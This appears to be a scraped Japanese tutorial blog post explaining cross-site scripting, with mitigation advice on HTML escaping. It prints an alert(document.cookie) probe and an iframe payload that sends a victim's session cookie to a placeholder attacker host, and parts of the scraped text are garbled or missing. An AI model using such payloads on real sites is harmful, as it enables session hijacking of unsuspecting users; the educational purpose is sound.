著作権についてお問い合わせクロスサイト・スクリプティングをクソわかりやすく解説!2018.08.13IT色々HOMEITIT色々クロスサイト・スクリプティングをクソわかりやすく解説!Advertisementクロスサイト・スクリプティング。セキュリティの知識がある方なら一度は聞いたことがあるかもしれません。いったセキュリティ用語は体験できる機会が少ないので、なかなか知識として定着しにくいものです。いうことで今回は、クロスサイト・スクリプティングについてクソわかりやすく解説したいと思います!僕のプロフィールはこちら本記事は以下の書籍を参考にしています。セキュリティの勉強をしたい方にはおすすめです。この一冊で大体のことは理解できます。まとめクロスサイト・スクリプティングとは通常、Webアプリケーションには外部からの入力などに応じて表示する箇所があり、この部分のHTML生成の実装に問題があると起きる脆弱性のことを、クロスサイト・スクリプティング(以下、XSS)と表現します。Sheetsと混同するためです。XSSによるクッキー値の盗み出しまず、以下のようなPHPがあるとします。?><br>以下略</body>http://○○○/〇〇〇.php?keyword=Haskell1http://○○○/〇〇〇.php?keyword=HaskellこのPHPに対して、上記のURLが入力されたとします。画面は正常に表示されますね。http://○○○/〇〇〇.php?keyword=<script>alert(document.cookie)</script>1http://○○○/〇〇〇.php?keyword=<script>alert(document.cookie)</script>では、次に上記のようなURLを入力してみます。すると、クッキーにセットされたセッションIDが丸見えですね。パラメータにスクリプトを指定することでJavaScriptが実行されました。Advertisement受動的攻撃により別人のクッキー値を盗み出すさて、先ほどはクッキーのセッションIDを表示しましたが、これは攻撃者のセッションIDです。実際には、攻撃者のセッションIDを表示しても意味がありません。いうことで、次は利用者を罠のあるサイトへ誘導します。src="http://〇〇〇?keyword=<script>window.location='http://△△△?sid='%2Bdocument.cookie;</script>"></iframe></body></html>上記のようなHTMLがあるとします。このHTMLの中に記載されているifame要素中のURLは悪意のあるページとします。これで、このサイト(ページ)に訪れた人はセッションIDを盗まれるという事になります。今は画面に出てしまっていますが、このセッションIDをメールで攻撃者のメールサーバに送信すれば攻撃成功です。?></body>最終的な画面(http://△△△)が上記のようなPHPの場合、メールで情報を受け取ることが可能です。Webメールで確認すると、このような感じになります。先ほどの例でも分かる通り、「<」や「’」などの文字を正しく扱う必要があります。一般的にはエスケープと呼ばれるものですね。この「エスケープを正しく行う」ことこそ、XSSの対策につながります。PHPの場合:htmlspecialchars関数Perlの場合:escapeHTML関数まとめ今回はXSSについて解説しましたが、XSSはかなり複雑です。対策すべきことが上記以外にもあるため、完全に対策することが難しくもあります。いった問題があるのか、そもそもXSSはどのようなものなのかを知ることで対策を練ることはできます。Sheetsと混同するため・一度盗まれた情報はメールなどで送信される恐れがあるPS.セキュリティ問題が叫ばれる世の中になりましたが、実際どういった問題があり、どのように対策すべきかを詳しく理解している人は少ないように思います。いう意味では、やはり体感するということは大切なんだと思います。具体的に書いてあるサイトもあまりないので、僕が共有できることはガンガン記事にしていきたいと思います。